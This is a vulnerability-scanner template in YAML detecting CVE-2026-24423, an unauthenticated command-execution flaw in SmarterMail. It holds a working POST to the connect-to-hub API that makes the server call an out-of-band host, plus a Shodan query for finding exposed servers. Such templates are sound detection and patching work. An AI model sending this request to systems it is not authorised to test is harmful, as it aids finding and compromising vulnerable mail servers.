id: CVE-2026-24423

info:
  name: SmarterMail - Remote Code Execution
  author: jyoti369
  severity: critical
  description: |
    SmarterTools SmarterMail < build 9511 contains an unauthenticated remote code execution caused by malicious OS command execution via ConnectToHub API method, letting remote attackers execute arbitrary commands, exploit requires no authentication.
  impact: |
    Remote attackers can execute arbitrary OS commands, potentially leading to full system compromise.
  remediation: |
    Update to build 9511 or later.
  reference:
    - https://www.vulncheck.com/blog/smartermail-connecttohub-rce-cve-2026-24423
    - https://code-white.com/public-vulnerability-list/
    - https://www.smartertools.com/smartermail/release-notes/current
    - https://nvd.nist.gov/vuln/detail/CVE-2026-24423
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-24423
    epss-score: 0.87693
    epss-percentile: 0.99736
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"SmarterMail"
  tags: cve,cve2026,smartermail,rce,oast,kev,vkev

http:
  - raw:
      - |
        POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"hubAddress":"http://{{interactsh-url}}","oneTimePassword":"{{randstr}}","nodeName":"{{randstr}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "setup-initial-connection"
# digest: 4a0a00473045022100acecff27e6a149ae37a84cd298fe079bf25c119750449ea444dc4b00db391e4f02203399414d2f3bebe69a2d570e0606ccc382e76bf3d704c12c8b4743fd2b7d8af4:922c64590222798bb761d5b6d8e72950